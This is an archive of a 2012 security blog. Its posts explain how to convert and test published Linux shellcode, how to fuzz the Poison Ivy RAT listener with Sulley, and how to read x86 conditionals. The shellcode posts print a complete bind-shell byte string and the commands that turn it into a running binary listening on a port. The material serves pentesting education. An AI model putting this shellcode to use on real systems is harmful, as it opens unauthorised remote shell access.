Tuesday, February 28, 2012

Fun with shellcode further

I wanted to take a moment and circle back around on the previous post and explain a few things. The original post was meant to power through and get people thinking about how to use the code that you may find on the internet and put it into a binary that you can test locally.  Now I would like to explain some of my reasoning for the code that I used.

If you look back at the code that I used you will notice that it is very clean with minimal interpretation. By interpretation I mean between the syntax of AT&T and Intel assembler. This is where I meant I would explain this later when I mentioned that things looked odd and why I flipped the operands.  I am by far an expert when it comes to explaining the differences between the syntax of the two and have worked with and know several people that could explain this better but I will give it my hand.

One of the things that you will be able to point out whether or not the code is AT&T or Intel is that registers are prefixed with '%' and '$'. There are many , many other things that you need to understand the difference in how the translate and here are a few.


Source and destination for move and store
at&t = src, dest  |  intel = dest, src
designation of code
at&t= .code32 or .code16 | intel = BITS16 or BITS32
Comments
at&t = /* */   | intel = ;
appended instructions
at&t = pushb | intel = push byte

There are many other differences such as directive syntax, far jumps etc. All the differences are way beyond this blog and there is extensive documents around that I have listed in the references that you can see.

Now the previous differences explain why I did the flip also why I chose the code. If you look back there is little that you need to flip in fact only 13 times which is pretty low.

From the previous post I mentioned the one of the reasons for post was to show some of the issues that you may come across. Many, Many tutorials on assembly mention the use of "nasm" . As you can see you will come across some issues if that is all that you are familiar with. Now let us take some additional steps. So working the same example http://www.shell-storm.org/shellcode/files/shellcode-515.php . We now know that this is AT&T syntax, but what do we do with this? This is were the GNU Assembler (GAS) steps in. This assembler understands both Intel and AT&T syntax so lets just compile the code direct.

First we will remove the "<>" since these are not part of the assembly and remove all the other code:

# cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.s
Now that we have the code into pure AT&T syntax lets compile with "as" and get it working:


# as 515.s -o 515.o
# ld -o 515 515.o
 #./515
tcp        0      0 0.0.0.0:64713
Ok great, now we now how to compile AT&T syntax code and get a binary that we can execute. So many people are saying but I really , really , like Intel syntax how can I see the Intel syntax. With a compiled binary this is simple with gdb or objdump. 

With gdb you can load it into the debugger:

Load it up into the debugger:
 # gdb -q ./515

set the flavor that you want displayed :
(gdb) set disassembly-flavor intel

run then kill it and disas:

(gdb) run
Starting program: /root/blog/gas
^C
Program received signal SIGINT, Interrupt.
0x08048088 in _start ()
(gdb) disas


Dump of assembler code for function _start:
   0x08048054 <+0>:    push   0x66
   0x08048056 <+2>:    pop    eax
   0x08048057 <+3>:    xor    ebx,ebx
   0x08048059 <+5>:    push   ebx
   0x0804805a <+6>:    inc    ebx
   0x0804805b <+7>:    push   ebx
   0x0804805c <+8>:    push   0x2
   0x0804805e <+10>:    mov    ecx,esp
.
.

The second method that you can use which is much easier is using the "-M intel" switch of "objdump":

# objdump -d -M intel ./gas


08048054 <_start>:
 8048054:    6a 66                    push   0x66
 8048056:    58                       pop    eax
 8048057:    31 db                    xor    ebx,ebx
 8048059:    53                       push   ebx
 804805a:    43                       inc    ebx
 804805b:    53                       push   ebx


Great now we have 2 ways to display the Intel syntax of a AT&T compiled binary. So we have the final piece that I wanted to talk about. Code conversion without a compiled binary.

During my interwebz travels I have come across an old sed script that does a minor translation from Intel to AT&T . Now this doesn't help us entirely but it does bring what I like which is visibility. A lot of admins understand sed but maybe not understand C or python or perl so I decided to do a translation in reverse with the same script.

You can find the original sed script that will do that Intel to ATT here http://www.delorie.com/djgpp/mail-archives/djgpp/1995/06/06/05:48:34 . Below you will find a slimmed down sed script that will do the basics of what the previous sed script does just in reverse. Also this is not the most optimal method but I wanted to do a 1-1 comparison just for visibility. You can download it here as well att2intel.sed


#
#       @(#)as386.sed    1.1 - 86/11/17\
#       ^------This is from original----^
#
#    rev: 03022012
#
#  A typical way to use this sed script is:\
#
# tr "[A-Z]" "[a-z]" <infile | sed -f this-script >outfile\
#
##################################################
# spread everything out
##################################################

:cmpress
h
# this removes any comments in the file
s/;.*$//
# this squished some lines down
s/[ \t]*$/\t/
# add leading space on all lines
s/[ \t][ \t]*/\t/g
# this seperates lines with , : with space
s/\([][)(,:*/+-]\)/\t\1\t/g
s/[\t]?[\t]/\t0\t/g
s/?/_/g
s/[\t][\t]*/\t/g

:equate
s/^\([^\t]*\)[\t]equ[\t]\(.*\)[\t]$/#define\t:\t\1\t\2\t/

####################################################
# This is where I remove % and $ from the symbols
####################################################

:registr
s/[ \t]%e\([abcd]\)x[ \t]/\te\1x\t/g
s/[ \t]%\([abcd]\)\([hlx]\)[ \t]/\t\1\2\t/g
s/[ \t]%e\([ds]\)i[ \t]/\te\1i\t/g
s/[ \t]%\([ds]\)i[ \t]/\t\1i\t/g
s/[ \t]%e\([bs]\)p[ \t]/\te\1p\t/g
s/[ \t]%\([bs]\)p[ \t]/\t\1p\t/g
s/[ \t]%\([cdefgs]\)s[ \t]/\t\1s\t/g
s/\$//g
s/%//g
s/<//g
s/>//g

####################################################
# word ptrs
####################################################

s/[ \t]\([abcd]\)\([hlx]\)[ \t],[ \t]1x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tbyte\t[\t\4\t+\t0x\3\t]\t,\t\1\2/g

s/[ \t]e\([abs]\)\([xip]\)[ \t],[ \t]0x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tdword\t[\t\4\t+\t0x\3\t]\t,\te\1\2/g

s/[ \t]0x\([^  ]*\)[\t]([ \t]e\([abs]\)\([xip]\)[ \t])[ \t]*,[ \t]\([^   ]*\)/\t\4,\t[\te\2\3\t+\t0x\1\t]/g

/-\t0x/ s/[\t]e\([abs]\)\([xip]\)[\t],[\t]-[\t]0x\([^   ]*\)[ \t]([ \t]\([^   ]*\)[ \t])/\tdword\t[\t\4\t-\t0x\3\t]\t,\te\1\2/g

####################################################
# colapsing
####################################################

s/[\t]\([)(,*/+-]\)/\1/g
s/\([)(,*/+-]\)[ \t]*/\1/g
s/\[[\t]/\[/g
s/[\t]\]/\]/g
s/[\t]:/:/g

####################################################
# This normalizes everything
####################################################
:normliz
/:\t/ !s/^\([^\t;#][^\t]*\)/\t\1/
/:\t/ !s/^[\t]\([^\t+,-]*\)\([+-]\)/\t\1\t\2/g
/:\t/ !s/^[\t]\([^\t+,]*\)+%/\t\1\t+/g
/:\t/ s/^\([^\t]*\)[\t]\([^\t+,-]*\)\([+-]\)/\1    \2\t\3/g
/:\t/ s/^\([^\t]*\)[\t]\([^\t+,]*\)+%/\1\t\2\t+/g
s/+%\([^\t,]*\)/(\1)/g
s/[\t]+/\t/g
s/\([:,]\)+/\1/g

#####################################################
# changed below commented out what I dont know
#####################################################
:operand
/[.;#^+]/  !s/^    \([^\t]*\)[\t]\([^,]*\),\([^\t]*\)/\t\1\t\3,\2/
/[.;#]/ !s/^\([^\t][^\t]*\)[\t]\([^\t]*\)[\t]\([^,]*\),\([^\t]*\)/\1\t\2\t\4,\3/

######################################################
# I changed the to remove the b and x
#####################################################
:opcode
s/movl/mov/g
s/movb/mov/g
s/leal/lea/g
s/xorl/xor/g
s/popl/pop/g
s/pushl/push/g
s/pushw/push/g
s/incl/inc/g
s/xchgl/xchg/g
s/addl/add/g
s/cmpb/cmp/g

######################################################
# this shoves everything back
######################################################
:comment
s/[\t]*$//
# this shoves the whole thing back to the left
x
# this removed everything and left ;
/;/ !s/^.*$//
# this added another ;
s/\([\t]*\);/;\1;/
# this removed the ;
s/^[^;]*;//
# everythig is back
x
# this added a space between the lines
G
# then puts it back together removing lines spaces
s/\n//
# changes the ; at the end with a /
s/;/\//



Now that we can see that it works lets give it a shot on another script that we can find but I will go simple since I am sure it is missing a lot so we will use code at http://www.shell-storm.org/shellcode/files/shellcode-632.php a ping shellcode. So we will use the sed script and compile and see what happens but first we need to get the file into something workable. Like in the first post we need to strip the other junk out of the code. First lets copy just the assembly portion to a file named 632.asm then we will strip the code to what we need.
cat 632.asm | cut -d '/' -f3 > 632a.asm
This will leave us with a file named 632a.asm that will look like this:
 push   $0xb
 pop    %eax
 cltd
 push   %edx
 push   $0x20207473
 push   $0x6f686c61
 push   $0x636f6c20
 push   $0x676e6970
 mov    %esp,%esi
 push   %edx
 pushw  $0x632d
 mov    %esp,%ecx
 push   %edx
 push   $0x68732f2f
 push   $0x6e69622f
 mov    %esp,%ebx
 push   %edx
 push   %esi
 push   %ecx
 push   %ebx
 mov    %esp,%ecx
 int    $0x80
Now we have it in a working format that our script will be able to work with.

#tr "[A-Z]" "[a-z]" < 632a.asm | sed -f att2intel.sed > 632i.asm
# nasm -f elf 632i.asm
# ld -o 632i 632i.o
# ./632i
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.195 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.034 ms
We have Intel code execution from converted ATT syntax. I realize there are several limitations to the sed script but I just wanted to do a little 1-1 comparison and I will update the above script as I make some changes like you will see that I used clear tabs sometimes and [ \t] others and will convert to \t for copy paste ability.


Now that we have the scripts to convert back and forth we can really start to have fun. In our Arsenal we now have the ability to:

              -Convert pure shell code to local binary for testing
              -Retrieve the shellcode from a binary
              -Convert AT&T code to Intel for nasm to get the shellcode
              -Compile AT&T syntax code.

I believe this gives a great start to testing and using shellcode or assembly that you find on the interwebz when you are in a pinch , or if you find some really cool code that you might want to use that automated tools cannot produce shellcode for.


References and further reading:

http://wiki.osdev.org/Opcode_syntax
http://asm.sourceforge.net/articles/linasm.html (from Tyler's Comment)
http://www.ibm.com/developerworks/linux/library/l-gas-nasm/index.html
http://banisterfiend.wordpress.com/2008/08/17/att-vs-intel-assembly-syntax/
http://www.delorie.com/djgpp/mail-archives/djgpp/1995/06/06/05:48:34 (original sed)
http://asm.sourceforge.net/intro/hello.html


Friday, February 17, 2012

Fun with Shellcode

Giving the nature of the beast and the three of us like to explore and play with many varieties of ways to exploit things, I thought that I would dive a little into playing with shellcode.

The reason I thought that I would talk about this are muti factor. Let me entertain some questions. If you are a pentester and you do not have your handy dandy metasploit to generate your payload for you, what do you do? do you trust that "\x90\x6a\x66\" that you pulled from exploit-db or others without even seeing the assembly?

With these questions in mind let's dive in and explore some the pitfalls and issues that you will probably encounter on your way to the shell code playground.

So you want to play with shellcode huh?

So lets set the stage that you in the need for some shell code to do a bind shell on linux but you don't have a shell code generator. So casually make your way over to exploit-db or shell-storm and you find some shellcode but you are not sure how to use it or what it does. How do you test the shellcode to make sure that it works? Ok so I take a deep breath and browse over to another page that has the objdump or the binary. For reference this is what we will first be working off of http://www.shell-storm.org/shellcode/files/shellcode-515.php . Ok there are many approaches to tackling this and I will go the most manual way for the sake of learning. The first thing that I want to try is taking the assembly and putting it into my own file and nasm the thing. So with this in mind I copy the text from the page to test.asm file  and I write a quick oneliner (yeah I know oneliners are for the bar not computers, meh).

$ cat test.asm | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|cut -d '"' -f 2 |paste -d '' -s


\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80


Let me step back for a second, why didn't we just dump the assembly and compile it and run it. let's do this and see what happens. The first thing is that we need to strip out all the junk so that it looks like good assembly.

$ cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.asm

This is gives us what looks like some good code but looking at the code I do somethings that are a little off  " 0x66,al"  this looks a little backwards but lets just roll with it and see. So we now compile it to see if we can execute it .

$ nasm -f elf 515.asm
515.asm:21: error: invalid combination of opcode and operands
515.asm:23: error: invalid combination of opcode and operands
515.asm:31: error: invalid combination of opcode and operands
515.asm:47: error: invalid combination of opcode and operands

well taking a look at 515.asm we can see that at these locations we do have an issue with "0x66,al" we will get into this some other time, so after a little manipulation we have fixed the issue.

$ cat 515.asm | sed 's/0x66,al/al, 0x66/g' | sed 's/0xb,al/al, 0xb/g' > 515b.asm

$ nasm -f elf 515b.asm



$ file 515b.o
515b.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped



The final step is that we need to get it working so lets do this.

$ ld -o 515b 515b.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060



$ ./515b
Segmentation fault

So what happened? We did everything right didn't we? according to all the tutorials and such yeah we did. Having a look at the "objdump -d 515b" the assembly things looks good. We could dive deeper into this but instead we are just going to power forward and get this thing working.  How we are going to do this is standing on the shoulders of other smart people. We are going to take a python script that was written by Mario Vilas and tweaked by Anand Sastry that utilizes CORE's InlineEgg package. See the references for all the links. Getting inlineEgg installed is as easy as "python setup.py install" . Once you have inlineEgg installed all you need to do is download the shellcode2exe.py from here: http://zeltser.com/reverse-malware/shellcode2exe.py.txt . Once you download it you just need to change the extension by removing the .txt or if you choose to just copy the code to your own file .py

The usage is brilliantly simple:

$ python shellcode2exe.py
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Usage:
    shellcode2exe.py payload.bin [payload.exe]
        [--arch=i386|powerpc|sparc|arm]
        [--os=windows|linux|freebsd|openbsd|solaris]
        [-c Allow for ascii shellcode as a cmd line parameter]
        [-s Allows for ascii shellcode in file]

Options:
  -h, --help            show this help message and exit
  -a ARCH, --arch=ARCH  target architecture [default: i386]
  -o OS, --os=OS        target operating system [default: windows]
  -c, --asciicmd        enable ascii entry in input file
  -s, --asciifile       enable ascii entry in command line


So with this we will take the assembly and see what we get.

$ python ../shellcode2exe.py -o linux -c "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 515c
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Treating first parameter as \x encoded shellcode
Generating executable file
Writing file 515c
Done.
 

$ ./515c


$ netstat -pant 
tcp        0      0 0.0.0.0:64713           0.0.0.0:*               LISTEN      26789/515c 

Woot! we have a bind shell listening on 64713 so this method works. This was with the shellcode taken from page what about from the assembly we compiled our self. lets go for it but take it from 515b , the file that didn't work.

$ objdump -d 515b |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x68\x66\x00\x00\x00\x58\x31\xdb\x53\x43\x53\x68\x02\x00\x00\x00\x89\xcc\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xcc\x68\x10\x00\x00\x00\x51\x50\x89\xcc\x89\xf0\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xcc\x43\xb0\x66\xcd\x80\x93\x68\x03\x00\x00\x00\x59\x49\x68\x3f\x00\x00\x00\x58\xcd\x80\x75\xf5\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xdc\xb0\x0b\xcd\x80"


With this you will see that nasm interpreted a few things a little wrong by doing a "push immediate word" instead of a "push immediate byte" . Also we can see that we needed to flip the ecx,esp to give us our "e1" instead of "cc". So we make the necessary changes and delete the null bytes since those are not needed and we end up with the correct shellcode that gives us our nice binary with shellcode2exe.py.

Given the exercise you can now begin to use assembly files to test locally before you deploy on a real engagement and allow you to write or manipulate code on your own. It also gives you the ability to overcome a few hurdles that many people come across when playing with shellcode.

In the coming posts I have created a TinyCore remaster that includes the custom program that we designed along with the above code so that you can get you hand dirty on a boot-able image.

References:

http://zeltser.com/reverse-malware/convert-shellcode.html
http://breakingcode.wordpress.com/2010/01/18/quickpost-converting-shellcode-to-executable-files-using-inlineegg/
http://zeltser.com/reverse-malware/shellcode2exe.py.txt
http://oss.coresecurity.com/projects/inlineegg.html
http://www.shell-storm.org


Thursday, February 9, 2012

Basic Sulley Fuzzing with Linux Host

Background

Recently, I wanted to perform some basic fuzzing against a target application.  I chose Sulley because it's Python-based and others on the project were already using it.  Unfortunately, Sulley is a finicky beast, and it's difficult to find clear instructions on how to install, configure, and get a basic fuzzing session started.  Even fewer places talk about using Sulley on Linux.  Hopefully, this post will fill that gap (in addition to being my online notebook). It will also document the changes I had to make to Sulley to get vmcontrol working on Linux.

Installation

In my case, I used two separate systems for my fuzzing work.  The target system (a Windows XP VM) executed the target application and Sulley monitoring agents.  The other system (my Linux host) executed the Sulley driver scripts. 

One of the clearest guides I found was over at the RosinCore blog: http://rosincore.wordpress.com/2011/09/18/setting-up-a-sulley-fuzzing-framework-on-windows-7/ .  I used his guide when configurging my target, with some changes.  I've listed my steps below - see RosinCore post for more details (i.e., svn commands, python build commands, etc).
  • Create a Windows XP VM in VMWare Workstation, including VMware tools in the guest
  • Configure the target VM to have a VMWare shared folder from the host
  • Install slikSVN (Slik-Subversion-1.7.2-win32.msi)
  • Install 7zip (7z920.exe)
  • Install minGW, but use an older version (mingw-get-inst-20110802.exe) to avoid gcc bug encountered by teammate
  • Check box for C++ compiler
  • Install winpcap (WinPcap_4_1_2.exe)
  • Install winpcap developer's pack (WpdPack_4_1_2.zip)
  • Install Python 2.7 (python-2.7.2.msi)
  • Install libdasm (svn co the trunk)
  • Install install pcapy (pcapy-0.10.5.zip)
  • Install install Impacket (Impacket-0.9.6.0.zip)
  • Install IDA Free 5.0 (ideafree50.exe)
  • Install idapython (idapython-1.5.3_ida6.2_py2.7_win32.zip)
  • Install PaiMei (svn co the trunk)
  • Fix pydasm libs (they get clobbered by paimei install)
  • del c:\python27\lib\site-packages\pydasm.pyd
    del c:\python27\lib\site-packages\pydbg\pydasm.pyd
    cd z:\install_files\libdasm-read-only\pydasm
    python setup.py install
  • NOTE: If you see an error message when running Sulley saying something like pdbg can't load pydasm module, try executing these steps again
  • Install Sulley (svn co the trunk) - this goes in the shared folder!
  • Install Process Hacker (processhacker-2.27-setup.exe)
  • Install Immunity Debugger (ImmunityDebugger_1_83_setup.exe)
  • Install WireShark (wireshark-win32-1.6.5.exe)
  • Test Sulley.  Once everything works, TAKE A SNAPSHOT.

Like I said, installing Sulley can be a bit of a PITA.  My host is running 64-bit Ubuntu.  I already had python 2.6.5 installed, so all I needed to add was pcapy.  I also used ipython when debugging the Sulley script (see below).

Prepping the Target


Now that we have the target VM ready to go, you'll need to install and execute your target application, with the Sulley monitors.  Just for grins, I chose to work against Poison Ivy.  The client (listener) part of PIVY is started using the GUI.  This meant that I could not just use the Sulley process_monitor.py script to restart the application if/when a crash occurred (because PIVY would not be put back into listen mode).  I executed the following steps to prep the target VM
  • Stop the Windows Firewall
  • Start Poison Ivy
  • Put PIVY into listen mode (start a client)
  • Open two command prompts (cmd.exe)
  • Command prompt 1, start the process_monitor.py from the shared folder
  • cd z:\sulley\sulley_read_only
    python process_monitor.py -c audits\pivy.crashbin -p "Poison Ivy 2.3.2.exe" -l 5
  • Command prompt 2, start the network_monitor.py from the shared folder
  • cd z:\sulley\sulley_read_only
    python network_monitor.py -d 0 -f "src or dst port 3460" -P audits\pivy -l 5
  • Take a snapshot, and give it a short name that you will remember

Modifying Sulley

Sulley includes a script called vmcontrol.py that it can use to start and reset a target VM.  Unfortunately, the script failed to run on my 64-bit Linux system right out of the box. However, I only needed to make the minor changes listed below to get things up and running:

vmcontrol.py diff
340c340
<     if not os.name == "nt" and interactive:
---
>     if not os.name == "nt":
sulley/pedrpc.py diff
13,14c13
<         #self.NOLINGER         = struct.pack('HH', 1, 0)
<         self.NOLINGER         = struct.pack('ii', 1, 0)
---
>         self.NOLINGER         = struct.pack('HH', 1, 0)
Once those changes were made, I was able to execute the following to get vmcontrol.py to control the target VM:

./vmcontrol.py --vmrun=/usr/bin/vmrun --snapshot=sulley-pivy --vmx=/vmware/xp.vmx --log_level=5

Sulley Fuzzing Files

Finally, I created a fuzzing request file and a fuzzing controller file.  Since the target was the network daemon for PIVY, I chose to start by just fuzzing a block of 256 bytes.  I ran into an issue with documentation at this point - many of the documents out there for Sulley indicate the s_binary() primitive is fuzzable.  However, for my installation of Sulley, s_binary() is NOT fuzzable.  I had to switch to s_random() and set the min and max parameters the same.  I determined s_binary() was not fuzzable by looking at the Python help docs in ipython:
Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) 
Type "copyright", "credits" or "license" for more information.

IPython 0.10 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object'. ?object also works, ?? prints more.

In [1]: from sulley import *
sulley/blocks.py:7: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha

In [2]: help(s_binary)

Help on function s_binary in module sulley:

s_binary(value, name=None)
    Parse a variable format binary string into a static value and push it onto the current block stack.
    
    @type  value: String
    @param value: Variable format binary string
    @type  name:  String
    @param name:  (Optional, def=None) Specifying a name gives you direct access to a primitive
The fuzzing controller script needs to setup the vmcontrol member of the target object and then set the VM to the proper snapshot before starting the fuzzing session.  The two files I used are listed below:

requests/pivyreq.py
from sulley import *

s_initialize("main")

s_random("187ad46c3d78cd68b54994a93f5a153bfce2e92ebab84688ecde05bb49bb70f91de3796e08a3514994c96fda1e61160e6659a2152f0f1452042b5620c685142603a12321d4cd20babb016680e725c5b6b478a235e56628607b50a84d7e3437053e7cc7f9dd9b51bc539787ea10e075de58a5cec089270a8b0a7e7814f280ad7206eb0f27dda946cd87f15a11a79119f1a578f9b3a5edd06eac5b078b0a794798bfecf3afe250082d96c181474ac49366e54ec2acbc4f6e46898006596544b8b5b7cb3abc09a8ef1860877e182787911c0cd3fc0a36eeeb34ded41a1c9a9efcd648a7fa5ee7e5d337e8052a86e729ff6ce2fffbb3fb40936a8615ecb20bc84772",256,256)
pivy.py
from sulley import *
from requests import pivyreq

print "Instantiating session"
sess = sessions.session(session_filename="pivytest.session")

print "Instantiating target"
target = sessions.target("172.16.147.128", 3460)
target.netmon = pedrpc.client("172.16.147.128", 26001)
target.procmon = pedrpc.client("172.16.147.128", 26002)
target.vmcontrol = pedrpc.client("172.16.147.1",26003)

target.procmon_options =  {
 "proc_name" : "Posion Ivy 2.3.2.exe",
}

target.vmcontrol.restart_target()
print "Virtual machine up and running"

sess.add_target(target)

sess.connect(sess.root, s_get("main"))

print "Starting fuzzing now"
sess.fuzz()
After you have all the agents running, just run pivy.py from the sulley directory and watch the magic. Now, if you actually replicate this test, you'll see the fuzzing does not accomplish much. Andrzej Dereszowski wrote a nice paper explaining an effective way to fuzz PIVY, which you can download at http://www.signal11.eu/en/research/articles/targeted_2010.pdf

List of Resources

Sunday, February 5, 2012

Binary Auditing part 9, Passing Arguments via Registers

This is pretty similiar to A08, the only difference being that the push before calling printf is with eax.

eax in this program has stored the results of sub_401000, and we immediately push it onto the stack. By pushing before a function call, we're essentially passing it to the function.

Binary Auditing part 8, Pass Global Variables Explicitly

Global variables ( http://en.wikipedia.org/wiki/Global_variable ) are variables that are available throughout the entire program. This is defined by scoping ( http://en.wikipedia.org/wiki/Scope_(computer_science) ).

Beginning at 00401033 you see that two variables of size dword are being created and assigned their values.

These variables are then pushed onto the stack, and there is a call to a function. This just passed the variables into the function, so that they are accessible within the function's scope.

Inside the function, we see positive values for arg_0 and arg_4, meaning that these arguments are found up on the stack. This falls in line as the stack grows downward.

Saturday, February 4, 2012

Binary Auditing part 7, Identifying the Conditional Operator

This is a fun one. Assembly has a lot of conditional statements. Remember, a conditional is when there is a comparison. An example:

If a = 1;
   print "A is equal to 1";
else
   print "A is not equal to 1";
end

In the pseudo code above, "If a = 1;" is the conditional. The other lines are the action taken depending upon the conditional's results.

The instructions we're going to take a look at in this exercise: cmp, jle, test, jge, jz, jbe, setnz, setnle.

**

cmp (compare): this instruction subtracts from each other and sets the ZF flag (ref: http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions)

At 00401008, we see the compare of the value of var_4 to 0. In this case if var_4 is not equal to 0, ZF is set to true (or 1). If var_4 was equal to 0, the ZF flag would remain at 0 (or false).

**

setnle (set if not less than or equal): this checks the flags in the EFLAGS register (CF, SF, OF, ZF and PF), then acts upon whatever register (in this case, the lower half of eax which is al) is passed to it. (ref: http://faydoc.tripod.com/cpu/setnle.htm)

At 0040100C, setnle sets al to 1 because the ZF flag is set.

**

jle (jump if less than or equal to): acts upon a comparision before it, and looks at the ZF or the SF/OF CPU flags (http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Jump_if_Less)

At 0040101A, jle sees if the cmp above it is true or false. If var_8 is less than 0, it takes the jump.

**

jge (jump if greater than or equal to): there is a compare before this statement, but it checks to see if the SF flag is equal to the OF flag.

At 0040107D, you'll see the jge instruction. Play with it in a debugger: 1) set a breakpoint at 0040107D, 2) look at the SF and OF flags. Now, SF and OF, by default, are 0 in this program, so IDA shows us that it wants to jump to 00401087. However, if you modify the SF or OF flag to 1 so that the two CPU flags are not equal, the jump is not performed. You can modify the flag values by right clicking on the flag you want to modify.

**

test: compares to see if the two are equal to each other ( http://en.wikipedia.org/wiki/TEST_(x86_instruction) )

At 00401076, it does a comparision to see if eax is equal to eax. This may seem odd, but it's because eax contains the results of the function getmainargs. If the function was successful, eax will equal 0. If it is not, eax will be a negative number (http://msdn.microsoft.com/en-us/library/ff770599.aspx). So the test will find the results of whether or not the function call was successful.

**

jz/je (jump if zero/equal): jump if ZF CPU flag is 1
jnz/jne (jump not zero/not equal): jump if ZF flag is 0

At 00401263, there is an example of this. The previous instruction is comparing the hex values 5A4D to what's located on the stack. If you hover over it, you see it is equal to ZM aka 5A4D.

**

setnz (set is not zero): this looks at the ZF CPU flag. If it's 0, it'll set whatever register is passed to it to 1. If not, that register will remain.

At 004012B5, by default the ZF flag will be set. Again, modify it to 0 and see that ecx is changed to 00000000.